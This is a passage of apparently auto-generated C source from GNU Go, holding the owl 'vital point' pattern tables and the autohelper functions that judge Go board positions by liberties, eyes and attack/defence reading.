it under the terms of the GNU General Public License as * * published by the Free Software Foundation - version 2 * * * * This program is distributed in the hope that it will be useful, * * but WITHOUT ANY WARRANTY; without even the implied warranty of * * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * * GNU General Public License in file COPYING for more details. * * * * You should have received a copy of the GNU General Public * * License along with this program; if not, write to the Free * * Software Foundation, Inc., 59 Temple Place - Suite 330, * * Boston, MA 02111, USA. * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ /* #include <stdio.h> */ /* #include "gnugo.h" */ /* #include "liberty.h" */ /* #include "patterns.h" */ static struct patval owl_vital_apat0[] = { {1,-1,1}, {-1,-1,1}, {1,1,1}, {-1,1,1}, {0,0,1}, {0,2,2}, {-2,0,3}, {0,1,0}, {0,-1,0}, {1,0,0}, {-1,0,0}}; static struct patval owl_vital_apat1[] = { {-2,-1,1}, {-2,0,1}, {1,1,1}, {1,2,1}, {0,2,1}, {-1,1,1}, {0,0,1}, {-2,1,2}, {-1,2,2}, {0,1,0}, {-1,0,0}, {1,-1,0}, {1,0,0}, {0,-1,0}, {-1,-1,0}}; static struct patval owl_vital_apat2[] = { {-2,-2,1}, {-2,-1,1}, {0,1,1}, {-1,-1,1}, {0,0,1}, {-1,2,2}, {0,-2,2}, {-1,-2,2}, {-1,0,3}, {0,-1,0}, {0,2,0}, {1,-2,0}, {1,-1,0}, {1,0,0}, {1,1,0}, {1,2,0}}; static struct patval owl_vital_apat3[] = { {-1,-1,1}, {-1,0,1}, {2,2,1}, {0,0,1}, {1,2,1}, {1,1,1}, {0,-1,2}, {1,-1,2}, {0,1,3}, {1,0,0}, {2,0,0}, {2,1,0}, {2,-1,0}}; static struct patval owl_vital_apat4[] = { {-1,-1,1}, {1,-1,1}, {0,0,1}, {2,-1,2}, {1,0,2}, {1,1,3}, {2,1,3}, {2,0,4}, {0,-1,0}}; static struct patval owl_vital_apat5[] = { {0,-2,1}, {0,-1,1}, {0,0,1}, {1,1,1}, {1,-2,2}, {0,1,2}, {1,0,2}, {1,-1,0}, {1,2,0}}; static struct patval owl_vital_apat6[] = { {-2,-1,1}, {-2,0,1}, {1,1,1}, {0,0,1}, {-1,1,1}, {-1,-1,2}, {0,-1,2}, {1,0,2}, {0,1,3}, {-2,1,3}, {1,-1,0}, {-1,0,0}}; static struct patval owl_vital_apat7[] = { {1,1,1}, {-1,1,1}, {1,0,1}, {0,0,1}, {0,2,1}, {1,2,2}, {-1,2,3}, {-1,0,0}, {0,1,0}}; static struct patval owl_vital_apat8[] = { {0,0,1}, {0,1,0}}; static struct patval owl_vital_apat9[] = { {0,0,1}, {0,1,0}}; static struct patval owl_vital_apat10[] = { {-1,-1,1}, {-1,0,1}, {0,-2,1}, {0,2,1}, {1,0,1}, {0,1,1}, {0,-1,2}, {0,0,2}, {1,-1,2}, {0,3,3}, {1,3,3}, {1,-2,0}, {1,2,0}, {1,1,0}}; static struct patval owl_vital_apat11[] = { {1,0,1}, {2,-1,1}, {1,1,1}, {0,0,1}, {1,-1,2}, {-1,-1,3}, {2,2,3}, {1,2,3}, {-1,0,3}, {2,0,0}, {2,1,0}, {0,-1,0}}; static struct patval owl_vital_apat12[] = { {-1,-1,1}, {-1,0,1}, {1,-1,1}, {0,0,1}, {0,1,1}, {1,1,1}, {1,0,2}, {2,1,2}, {2,-1,2}, {2,0,0}, {0,-1,0}}; static struct patval owl_vital_apat13[] = { {1,0,1}, {-1,1,1}, {0,0,1}, {0,-1,2}, {1,1,2}, {-1,0,2}, {1,-1,0}, {0,1,0}}; static struct patval owl_vital_apat14[] = { {-1,0,1}, {0,2,1}, {0,0,1}, {1,1,1}, {1,0,2}, {-1,1,0}, {0,1,0}, {1,2,0}}; static struct patval owl_vital_apat15[] = { {1,-2,1}, {-1,-1,1}, {0,0,1}, {-1,1,1}, {0,1,3}, {0,-1,0}, {-1,0,0}, {0,-2,0}, {-1,-2,0}, {1,-1,0}, {1,0,0}}; static struct patval owl_vital_apat16[] = { {1,0,1}, {-1,0,1}, {-1,1,1}, {1,2,1}, {0,2,1}, {-1,2,2}, {0,0,2}, {0,3,2}, {-1,-1,3}, {-1,3,4}, {1,3,4}, {0,1,0}, {1,1,0}, {0,-1,0}, {1,-1,0}}; static struct patval owl_vital_apat17[] = { {-1,-2,1}, {-1,-1,1}, {1,-2,1}, {1,-1,1}, {0,0,1}, {1,0,2}, {-1,1,2}, {0,-1,0}, {0,-2,0}, {-1,0,0}}; static struct patval owl_vital_apat18[] = { {2,0,1}, {0,0,1}, {1,-1,1}, {2,-1,1}, {0,-1,2}, {0,2,3}, {1,1,0}, {1,2,0}, {1,0,0}, {0,1,0}, {2,1,0}, {2,2,0}}; static struct patval owl_vital_apat19[] = { {-2,0,1}, {-1,-1,1}, {2,0,1}, {-1,1,1}, {1,1,1}, {0,0,1}, {1,-1,1}, {1,0,0}, {0,-1,0}, {-1,0,0}}; static struct patval owl_vital_apat20[] = { {0,-1,1}, {1,1,1}, {0,0,2}, {1,0,0}, {1,-1,0}, {2,-1,0}, {2,0,0}, {2,1,0}}; static struct patval owl_vital_apat21[] = { {0,0,1}, {-1,0,2}, {-1,-2,3}, {0,-2,0}, {0,-1,0}, {-1,-1,0}, {1,-2,0}, {1,-1,0}, {1,0,0}}; static struct patval owl_vital_apat22[] = { {1,1,1}, {0,0,2}, {1,-2,3}, {1,0,0}, {1,-1,0}, {2,-2,0}, {2,-1,0}, {2,0,0}, {2,1,0}, {3,-2,0}, {3,-1,0}, {3,0,0}, {3,1,0}}; static struct patval owl_vital_apat23[] = { {0,0,1}, {0,1,0}}; static struct patval owl_vital_apat24[] = { {2,-1,1}, {1,1,1}, {1,-1,1}, {0,0,1}, {-1,1,2}, {-1,0,2}, {1,0,2}, {2,0,2}, {0,-1,0}, {0,1,0}, {2,1,0}}; static struct patval owl_vital_apat25[] = { {-2,0,1}, {-2,1,1}, {-1,-1,1}, {2,0,1}, {1,1,1}, {-1,2,1}, {0,-2,1}, {1,-2,1}, {0,0,1}, {2,-1,1}, {0,2,1}, {0,1,2}, {-1,0,2}, {1,0,2}, {-1,1,0}, {0,-1,0}, {1,-1,0}}; static struct patval owl_vital_apat26[] = { {-2,0,1}, {-2,1,1}, {-1,-1,1}, {2,0,1}, {1,1,1}, {-1,2,1}, {0,-2,1}, {1,-2,1}, {0,0,1}, {2,-1,1}, {0,2,1}, {0,1,2}, {-1,0,2}, {1,0,2}, {-1,1,0}, {0,-1,0}, {1,-1,0}}; static struct patval owl_vital_apat27[] = { {0,-1,1}, {0,0,1}, {2,0,1}, {1,2,1}, {2,-1,2}, {2,1,2}, {1,1,3}, {2,2,3}, {1,0,0}, {1,-1,0}}; static struct patval owl_vital_apat28[] = { {-1,-1,1}, {-1,0,1}, {1,0,1}, {0,2,1}, {1,1,2}, {0,0,2}, {0,1,3}, {1,2,3}, {1,-1,0}, {0,-1,0}}; static struct patval owl_vital_apat29[] = { {-1,-1,1}, {-1,0,1}, {-1,1,1}, {0,2,1}, {1,0,1}, {0,0,2}, {1,-1,2}, {1,2,3}, {0,1,0}, {1,1,0}, {0,-1,0}}; static struct patval owl_vital_apat30[] = { {0,0,1}, {0,1,1}, {2,0,1}, {1,-1,1}, {2,1,1}, {1,2,1}, {1,1,0}, {0,2,0}, {1,0,0}}; static struct patval owl_vital_apat31[] = { {0,2,1}, {1,0,1}, {0,0,1}, {-1,1,1}, {-2,1,2}, {-1,0,2}, {0,1,0}, {-1,2,0}, {-2,2,0}, {1,1,0}, {1,2,0}, {2,2,0}}; static struct patval owl_vital_apat32[] = { {2,-1,1}, {2,0,1}, {1,-1,1}, {0,0,1}, {1,1,1}, {0,-1,2}, {-1,0,2}, {2,1,2}, {1,0,0}, {-1,1,0}, {0,1,0}}; static struct patval owl_vital_apat33[] = { {-1,1,1}, {0,0,1}, {2,1,1}, {0,1,2}, {1,1,2}, {2,0,0}, {1,0,0}}; static struct patval owl_vital_apat34[] = { {-1,0,1}, {0,-1,1}, {1,1,1}, {0,1,1}, {2,0,1}, {1,0,2}, {0,0,2}, {2,1,2}, {2,-1,0}, {1,-1,0}}; static struct patval owl_vital_apat35[] = { {-1,1,1}, {-1,2,1}, {0,0,1}, {1,2,1}, {2,0,1}, {1,0,1}, {2,1,2}, {1,1,0}, {0,2,0}, {0,1,0}, {2,2,0}}; static struct patval owl_vital_apat36[] = { {-2,0,1}, {-2,1,1}, {-2,2,1}, {-1,-1,1}, {0,0,1}, {2,1,1}, {-1,2,1}, {0,-1,1}, {1,1,1}, {2,2,1}, {-1,1,2}, {0,2,2}, {1,0,2}, {1,2,0}, {0,1,0}, {-1,0,0}}; static struct patval owl_vital_apat37[] = { {1,1,1}, {-1,1,1}, {0,2,1}, {0,0,1}, {1,-1,2}, {-1,2,2}, {0,3,2}, {-1,0,3}, {1,0,0}, {0,1,0}, {1,2,0}, {1,3,0}}; static struct patval owl_vital_apat38[] = { {0,0,1}, {-2,0,2}, {-1,-2,3}, {-1,0,0}, {0,-2,0}, {0,-1,0}, {-1,-1,0}, {1,-2,0}, {1,-1,0}, {1,0,0}}; static struct patval owl_vital_apat39[] = { {-1,-1,1}, {1,-1,1}, {0,1,1}, {0,0,1}, {1,1,2}, {1,0,2}, {-1,0,2}, {-1,1,0}, {0,-1,0}}; static struct patval owl_vital_apat40[] = { {2,0,1}, {-1,1,1}, {1,0,1}, {0,0,1}, {-1,0,2}, {-1,2,3}, {0,2,0}, {1,1,0}, {1,2,0}, {0,1,0}, {2,1,0}, {2,2,0}}; static struct patval owl_vital_apat41[] = { {0,-1,1}, {0,0,1}, {1,1,1}, {2,1,1}, {0,1,2}, {1,0,0}, {2,-1,0}, {2,0,0}, {1,-1,0}}; static struct patval owl_vital_apat42[] = { {-1,-1,1}, {2,0,1}, {-1,1,1}, {1,1,1}, {0,0,1}, {2,1,1}, {1,-1,1}, {2,-1,2}, {0,-1,0}, {0,1,0}, {-1,0,0}, {1,0,0}}; static struct patval owl_vital_apat43[] = { {0,-1,1}, {0,0,1}, {0,1,1}, {1,0,2}, {1,-1,0}, {0,2,0}, {1,1,0}, {1,2,0}}; static struct patval owl_vital_apat44[] = { {0,0,1}, {0,2,1}, {0,1,4}, {1,0,4}, {1,2,4}, {1,1,0}}; static struct patval owl_vital_apat45[] = { {0,0,1}, {1,1,1}, {1,0,2}, {0,1,0}}; static struct patval owl_vital_apat46[] = { {-1,-1,1}, {0,-2,1}, {1,-1,1}, {0,0,1}, {1,1,2}, {1,0,0}, {0,-1,0}, {1,2,0}}; static struct patval owl_vital_apat47[] = { {1,0,1}, {1,1,2}, {0,0,2}, {0,1,0}}; static struct patval owl_vital_apat48[] = { {0,-1,1}, {0,0,1}, {0,2,2}, {-1,2,0}, {-1,-1,0}, {-1,1,0}, {0,1,0}, {-1,0,0}}; static struct patval owl_vital_apat49[] = { {0,0,1}, {1,1,1}, {1,0,4}, {0,1,0}}; static int autohelperowl_vital_apat0(struct pattern *patt, int transformation, int move, int color, int action) { int a, b, c, d, A; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(0, 1, move, transformation); b = offset(1, -1, move, transformation); c = offset(0, -2, move, transformation); d = offset(-1, 0, move, transformation); A = offset(-1, -2, move, transformation); return countlib(a)>2 && owl_topological_eye(b,board[A])==2 && owl_topological_eye(c,board[A])==2 && play_attack_defend_n(color, 1, 1, move, d); } static int autohelperowl_vital_apat1(struct pattern *patt, int transformation, int move, int color, int action) { int A, B; UNUSED(patt); UNUSED(color); UNUSED(action); A = offset(-2, 0, move, transformation); B = offset(0, 3, move, transformation); return countlib(A)==2 && countlib(B)==2; } static int autohelperowl_vital_apat5(struct pattern *patt, int transformation, int move, int color, int action) { int a; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(0, -4, move, transformation); return countlib(a)==2; } static int autohelperowl_vital_apat7(struct pattern *patt, int transformation, int move, int color, int action) { int A; UNUSED(patt); UNUSED(color); UNUSED(action); A = offset(1, 0, move, transformation); return countlib(A)==2 && accurate_approxlib(move,color, MAX_LIBERTIES, NULL)>1; } static int autohelperowl_vital_apat8(struct pattern *patt, int transformation, int move, int color, int action) { int A; UNUSED(patt); UNUSED(color); UNUSED(action); A = offset(0, -1, move, transformation); return countlib(A)==2 && accurate_approxlib(move,color, MAX_LIBERTIES, NULL)>1 && owl_big_eyespace(move,A); } static int autohelperowl_vital_apat9(struct pattern *patt, int transformation, int move, int color, int action) { int A; UNUSED(patt); UNUSED(color); UNUSED(action); A = offset(0, -1, move, transformation); return countlib(A)==2 && accurate_approxlib(move,color, MAX_LIBERTIES, NULL)==1 && owl_big_eyespace(move,A) && play_attack_defend_n(color, 1, 1, move, move)!=WIN; } static int autohelperowl_vital_apat10(struct pattern *patt, int transformation, int move, int color, int action) { int a; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(-1, -2, move, transformation); return ATTACK_MACRO(a) && !DEFEND_MACRO(a); } static int autohelperowl_vital_apat12(struct pattern *patt, int transformation, int move, int color, int action) { int a, A; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(2, 1, move, transformation); A = offset(-1, 0, move, transformation); return countlib(A)<=3 && play_attack_defend_n(color, 1, 1, a, a); } static int autohelperowl_vital_apat13(struct pattern *patt, int transformation, int move, int color, int action) { int a, b, c, D; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(-1, 2, move, transformation); b = offset(-2, 1, move, transformation); c = offset(0, 2, move, transformation); D = offset(-1, 1, move, transformation); return countlib(b)>1 && countlib(c)>1 && owl_eyespace(a,D) && !ATTACK_MACRO(D); } static int autohelperowl_vital_apat14(struct pattern *patt, int transformation, int move, int color, int action) { int b, c, d, A; UNUSED(patt); UNUSED(color); UNUSED(action); b = offset(1, -1, move, transformation); c = offset(-1, 0, move, transformation); d = offset(1, 1, move, transformation); A = offset(-1, -1, move, transformation); return countlib(A) == 2 && countlib(b) > 1 && !play_attack_defend_n(color, 1, 3, move, c, d, d); } static int autohelperowl_vital_apat15(struct pattern *patt, int transformation, int move, int color, int action) { int A; UNUSED(patt); UNUSED(color); UNUSED(action); A = offset(-1, 0, move, transformation); return owl_eyespace(move,A); } static int autohelperowl_vital_apat16(struct pattern *patt, int transformation, int move, int color, int action) { int a; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(0, -2, move, transformation); return play_attack_defend_n(color, 1, 2, move, a, a); } static int autohelperowl_vital_apat17(struct pattern *patt, int transformation, int move, int color, int action) { int a; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(-1, 1, move, transformation); return play_attack_defend_n(color, 1, 2, move, a, a); } static int autohelperowl_vital_apat18(struct pattern *patt, int transformation, int move, int color, int action) { int A; UNUSED(patt); UNUSED(color); UNUSED(action); A = offset(0, -2, move, transformation); return countlib(A)==2 && owl_big_eyespace(move,A); } static int autohelperowl_vital_apat19(struct pattern *patt, int transformation, int move, int color, int action) { int a, b, C; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(-1, 1, move, transformation); b = offset(1, 1, move, transformation); C = offset(0, 1, move, transformation); return owl_topological_eye(a,board[C]) == 2 && owl_topological_eye(b,board[C]) == 2; } static int autohelperowl_vital_apat20(struct pattern *patt, int transformation, int move, int color, int action) { int a, B; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(1, 0, move, transformation); B = offset(0, 1, move, transformation); return owl_big_eyespace(a,B); } static int autohelperowl_vital_apat21(struct pattern *patt, int transformation, int move, int color, int action) { int a, B; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(-1, 0, move, transformation); B = offset(0, 1, move, transformation); return owl_big_eyespace(move,B) && play_attack_defend_n(color, 1, 2, move, a, B); } static int autohelperowl_vital_apat22(struct pattern *patt, int transformation, int move, int color, int action) { int a, b, c, D; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(1, 0, move, transformation); b = offset(1, -1, move, transformation); c = offset(0, -1, move, transformation); D = offset(0, 1, move, transformation); return owl_big_eyespace(move,D) && play_attack_defend_n(color, 1, 4, move, a, b, c, a); } static int autohelperowl_vital_apat23(struct pattern *patt, int transformation, int move, int color, int action) { int A; UNUSED(patt); UNUSED(color); UNUSED(action); A = offset(0, -1, move, transformation); return countlib(A)==1 && owl_eyespace(move,A) && accurate_approxlib(move,color, MAX_LIBERTIES, NULL) > 0; } static int autohelperowl_vital_apat27(struct pattern *patt, int transformation, int move, int color, int action) { int A, B; UNUSED(patt); UNUSED(color); UNUSED(action); A = offset(0, 1, move, transformation); B = offset(1, 2, move, transformation); return somewhere(OTHER_COLOR(color), 1, A, B); } static int autohelperowl_vital_apat28(struct pattern *patt, int transformation, int move, int color, int action) { int A, B; UNUSED(patt); UNUSED(color); UNUSED(action); A = offset(-1, 2, move, transformation); B = offset(0, 3, move, transformation); return somewhere(OTHER_COLOR(color), 1, A, B); } static int autohelperowl_vital_apat30(struct pattern *patt, int transformation, int move, int color, int action) { int a, b, C; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(0, -1, move, transformation); b = offset(-1, 1, move, transformation); C = offset(1, -1, move, transformation); return countlib(C)==2 && owl_eyespace(a,C) && play_attack_defend_n(color, 1, 3, move, a, b, b)!=WIN; } static int autohelperowl_vital_apat34(struct pattern *patt, int transformation, int move, int color, int action) { int A; UNUSED(patt); UNUSED(color); UNUSED(action); A = offset(0, 2, move, transformation); return play_attack_defend2_n(color, 0, 1, move, A, move); } static int autohelperowl_vital_apat35(struct pattern *patt, int transformation, int move, int color, int action) { int A; UNUSED(patt); UNUSED(color); UNUSED(action); A = offset(-1, 0, move, transformation); return accurate_approxlib(A, OTHER_COLOR(color), MAX_LIBERTIES, NULL)==2; } static int autohelperowl_vital_apat37(struct pattern *patt, int transformation, int move, int color, int action) { int A; UNUSED(patt); UNUSED(color); UNUSED(action); A = offset(0, -4, move, transformation); return countlib(A) > 2; } static int autohelperowl_vital_apat38(struct pattern *patt, int transformation, int move, int color, int action) { int A; UNUSED(patt); UNUSED(color); UNUSED(action); A = offset(0, 1, move, transformation); return owl_big_eyespace(move,A) && !play_attack_defend_n(color, 0, 1, move, A); } static int autohelperowl_vital_apat39(struct pattern *patt, int transformation, int move, int color, int action) { int A, B; UNUSED(patt); UNUSED(color); UNUSED(action); A = offset(1, -2, move, transformation); B = offset(1, -1, move, transformation); return owl_eyespace(A,B); } static int autohelperowl_vital_apat40(struct pattern *patt, int transformation, int move, int color, int action) { int A; UNUSED(patt); UNUSED(color); UNUSED(action); A = offset(0, -2, move, transformation); return countlib(A) == 3; } static int autohelperowl_vital_apat41(struct pattern *patt, int transformation, int move, int color, int action) { int A, B; UNUSED(patt); UNUSED(color); UNUSED(action); A = offset(0, 1, move, transformation); B = offset(-1, 0, move, transformation); return countlib(A) ==2 || countlib(B) == 2; } static int autohelperowl_vital_apat42(struct pattern *patt, int transformation, int move, int color, int action) { int b, c, D; UNUSED(patt); UNUSED(color); UNUSED(action); b = offset(0, -1, move, transformation); c = offset(0, 1, move, transformation); D = offset(3, -1, move, transformation); return !ATTACK_MACRO(D) && play_attack_defend_n(color, 1, 1, move, b) && play_attack_defend_n(color, 1, 1, move, c); } static int autohelperowl_vital_apat43(struct pattern *patt, int transformation, int move, int color, int action) { int a, b; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(0, 1, move, transformation); b = offset(-1, 1, move, transformation); return !play_attack_defend_n(color, 1, 3, move, a, b, b) && !play_attack_defend_n(color, 1, 3, move, b, a, a); } static int autohelperowl_vital_apat44(struct pattern *patt, int transformation, int move, int color, int action) { int d, A, B, C; UNUSED(patt); UNUSED(color); UNUSED(action); d = offset(-1, 1, move, transformation); A = offset(0, -1, move, transformation); B = offset(-1, 0, move, transformation); C = offset(0, 1, move, transformation); return owl_proper_eye(move,d) && (owl_proper_eye(A,d) + owl_proper_eye(B,d) + owl_proper_eye(C,d) > 2) && safe_move(move,OTHER_COLOR(color)); } static int autohelperowl_vital_apat45(struct pattern *patt, int transformation, int move, int color, int action) { UNUSED(transformation); UNUSED(patt); UNUSED(color); UNUSED(action); return !is_ko_point(move); } static int autohelperowl_vital_apat46(struct pattern *patt, int transformation, int move, int color, int action) { int b, A, C; UNUSED(patt); UNUSED(color); UNUSED(action); b = offset(-1, -3, move, transformation); A = offset(0, -2, move, transformation); C = offset(-1, -4, move, transformation); return accurate_approxlib(A, OTHER_COLOR(color), MAX_LIBERTIES, NULL) == 1 && accurate_approxlib(A,color, MAX_LIBERTIES, NULL) == 1 && owl_topological_eye(b,board[C]) < 4 && owl_topological_eye(b,board[C]) > 0; } static int autohelperowl_vital_apat47(struct pattern *patt, int transformation, int move, int color, int action) { int a, b; UNUSED(patt); UNUSED(color); UNUSED(action); a = offset(0, -1, move, transformation); b = offset(1, 0, move, transformation); return vital_chain(a) && vital_chain(b) && !play_attack_defend2_n(OTHER_COLOR(color), 0, 1, move, a, b); } static int autohelperowl_vital_apat49(struct pattern *patt, int transformation, int move, int color, int action) { int A, B; UNUSED(patt); UNUSED(color); UNUSED(action); A = offset(1, -1, move, transformation); B = offset(1, 0, move, transformation); return countlib(B) <= 2 && owl_eyespace(A,B); } void init_tree_owl_vital_apat(void) { /* nothing to do - tree option not compiled */ } struct pattern owl_vital_apat[] = { {owl_vital_apat0,11,8, "VA1",-2,-1,1,2,3,3,0x0,0,1, { 0xfcfffc00, 0xfcfdfc30, 0xfcfcfc10, 0xfcfcfc00, 0xfcfdfc00, 0xfcfffc10, 0xfcfcfc30, 0xfcfcfc00}, { 0x88218800, 0x88208810, 0x88208800, 0x88208800, 0x88208800, 0x88218800, 0x88208810, 0x88208800} , 0x1000000,75.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_vital_apat0,3,0.235600}, {owl_vital_apat1,15,8, "VA2",-2,-1,1,2,3,3,0xa,0,-1, { 0xffffff00, 0xfffffffc, 0xfcfcfcfc, 0xfcfcfc00, 0xffffff00, 0xfffffffc, 0xfcfcfcfc, 0xfcfcfc00}, { 0x09220a00, 0x022289a4, 0x80208068, 0x88200000, 0x89220200, 0x0a2209a4, 0x00208868, 0x80208000} , 0x1000010,45.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_vital_apat1,3,0.016000}, {owl_vital_apat2,16,8, "VA3",-2,-2,1,2,3,4,0xa,0,2, { 0xd3ffff00, 0xfff4f0fc, 0xffff1f0f, 0x3c7cfcfc, 0xf0f4ffff, 0xffffd3c0, 0xfc7c3cfc, 0x1fffff00}, { 0x81280000, 0x0a202004, 0x00a1090a, 0x20208050, 0x20200a16, 0x00288180, 0x80202040, 0x09a10000} , 0x1000000,45.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_vital_apat3,13,8, "VA4",-1,-1,2,2,3,3,0xa,2,0, { 0xf0f4ffff, 0xfcfcd0c0, 0xfc7c3c00, 0x1fffff00, 0xd0fcfc00, 0xfff4f000, 0xffff1f0f, 0x3c7cfcfc}, { 0xa0604a02, 0x58288080, 0x84242800, 0x08a09400, 0x80285800, 0x4a60a000, 0x94a0080a, 0x28248400} , 0x1000010,45.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_vital_apat4,9,8, "VA5",-1,-1,2,1,3,2,0xa,0,-1, { 0xc0f0f4e4, 0xfcf04000, 0x7c3c0c00, 0x053eff00, 0x40f0fc00, 0xf4f0c000, 0xff3e0500, 0x0c3c7c6c}, { 0x80209040, 0x88600000, 0x18200800, 0x00248900, 0x00608800, 0x90208000, 0x89240000, 0x08201804} , 0x1000010,45.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_vital_apat5,9,8, "VA6",0,-2,1,2,1,4,0x2,1,2, { 0x00fcff00, 0xf0f0f0c0, 0xffff0000, 0x3c3c3c3c, 0xf0f0f0f0, 0xfffc0000, 0x3c3c3c0c, 0x00ffff00}, { 0x00a41800, 0x20609000, 0x916a0000, 0x18242024, 0x90602060, 0x18a40000, 0x20241800, 0x006a9100} , 0x1000010,45.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_vital_apat5,3,0.010000}, {owl_vital_apat6,12,8, "VA7",-2,-1,1,1,3,2,0xa,1,-1, { 0xfcf4fc00, 0xffffdd00, 0xfc7cfc7c, 0xdcfcfc00, 0xddffff00, 0xfcf4fcf4, 0xfcfcdc00, 0xfc7cfc00}, { 0x48601800, 0x16628800, 0x90248428, 0x88245000, 0x88621600, 0x186048a0, 0x50248800, 0x84249000} , 0x1000010,45.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_vital_apat7,9,8, "VA8",-1,0,1,2,2,2,0x0,-1,0, { 0x3d3f3f00, 0x00fcfcf4, 0xf0f0f000, 0xfcfc0000, 0xfcfc0000, 0x3f3f3d00, 0x00fcfc7c, 0xf0f0f000}, { 0x08222900, 0x00a08860, 0xa0208000, 0x88280000, 0x88a00000, 0x29220800, 0x00288824, 0x8020a000} , 0x1000010,45.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_vital_apat7,3,0.040000}, {owl_vital_apat8,2,4, "VA9",0,0,0,1,0,1,0x0,0,1, { 0x003c0000, 0x00303000, 0x00f00000, 0x30300000, 0x30300000, 0x003c0000, 0x00303000, 0x00f00000}, { 0x00200000, 0x00200000, 0x00200000, 0x00200000, 0x00200000, 0x00200000, 0x00200000, 0x00200000} , 0x1000010,45.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_vital_apat8,3,0.043600}, {owl_vital_apat9,2,4, "VA10",0,0,0,1,0,1,0x0,0,1, { 0x003c0000, 0x00303000, 0x00f00000, 0x30300000, 0x30300000, 0x003c0000, 0x00303000, 0x00f00000}, { 0x00200000, 0x00200000, 0x00200000, 0x00200000, 0x00200000, 0x00200000, 0x00200000, 0x00200000} , 0x1000010,35.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_vital_apat9,3,0.259600}, {owl_vital_apat10,14,8, "VA11",-1,-2,1,3,2,5,0x2,1,1, { 0xf0ffff00, 0xfcfcf0f0, 0xffff3c00, 0x3cfcfc3c, 0xf0fcfcf0, 0xfffff000, 0xfcfc3c3c, 0x3cffff00}, { 0xa05a6000, 0x58982020, 0x24962800, 0x20989420, 0x20985820, 0x605aa000, 0x94982020, 0x28962400} , 0x1000010,65.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_vital_apat10,0,1.600000}, {owl_vital_apat11,12,8, "VA12",-1,-1,2,2,3,3,0xa,2,0, { 0x50f0fdfd, 0xf4f4c040, 0xfc3c1400, 0x0f7f7f00, 0xc0f4f400, 0xfdf05000, 0x7f7f0f05, 0x143cfcfc}, { 0x00206880, 0x40a08000, 0xa4200000, 0x08280600, 0x80a04000, 0x68200000, 0x06280800, 0x0020a408} , 0x1000010,75.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_vital_apat12,11,8, "VA13",-1,-1,2,1,3,2,0xa,0,-1, { 0xf0fcfcfc, 0xfcfcf000, 0xfcfc3c00, 0x3fffff00, 0xf0fcfc00, 0xfcfcf000, 0xffff3f00, 0x3cfcfcfc}, { 0xa0289844, 0x8868a000, 0x98a02800, 0x29a48900, 0xa0688800, 0x9828a000, 0x89a42900, 0x28a09844} , 0x1000010,85.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_vital_apat12,3,0.610000}, {owl_vital_apat13,8,8, "VA14",-1,-1,1,1,2,2,0x2,1,-1, { 0x3cfcfc00, 0xf0fcfc00, 0xfcfcf000, 0xfcfc3c00, 0xfcfcf000, 0xfcfc3c00, 0x3cfcfc00, 0xf0fcfc00}, { 0x18602400, 0x10a44800, 0x60249000, 0x84681000, 0x48a41000, 0x24601800, 0x10688400, 0x90246000} , 0x1000000,35.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_vital_apat13,3,0.235600}, {owl_vital_apat14,8,8, "VA15",-1,0,1,2,2,2,0x0,0,1, { 0x3c3f3f00, 0x00fcfcf0, 0xf0f0f000, 0xfcfc0000, 0xfcfc0000, 0x3f3f3c00, 0x00fcfc3c, 0xf0f0f000}, { 0x20221800, 0x00688020, 0x90202000, 0x08a40000, 0x80680000, 0x18222000, 0x00a40820, 0x20209000} , 0x1000010,45.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_vital_apat14,3,0.376000}, {owl_vital_apat15,11,8, "VA16",-1,-2,1,1,2,3,0x1,0,-1, { 0xfcf4f000, 0xfcfc1c00, 0x3f7fff00, 0xd0fcfcfc, 0x1cfcfcfc, 0xf0f4fc00, 0xfcfcd000, 0xff7f3f00}, { 0x88200000, 0x08200800, 0x02208800, 0x80208008, 0x08200880, 0x00208800, 0x80208000, 0x88200200} , 0x1000000,46.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_vital_apat15,3,0.010000}, {owl_vital_apat16,15,8, "VA17",-1,-1,1,3,2,4,0x0,0,1, { 0x7fffff00, 0xf4fcfcfc, 0xfcfcf400, 0xfcfc7c00, 0xfcfcf400, 0xffff7f00, 0x7cfcfcfc, 0xf4fcfc00}, { 0x29122200, 0x009808a4, 0x2010a000, 0x80980000, 0x08980000, 0x22122900, 0x00988068, 0xa0102000} , 0x1000010,35.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_vital_apat16,0,1.000000}, {owl_vital_apat17,10,8, 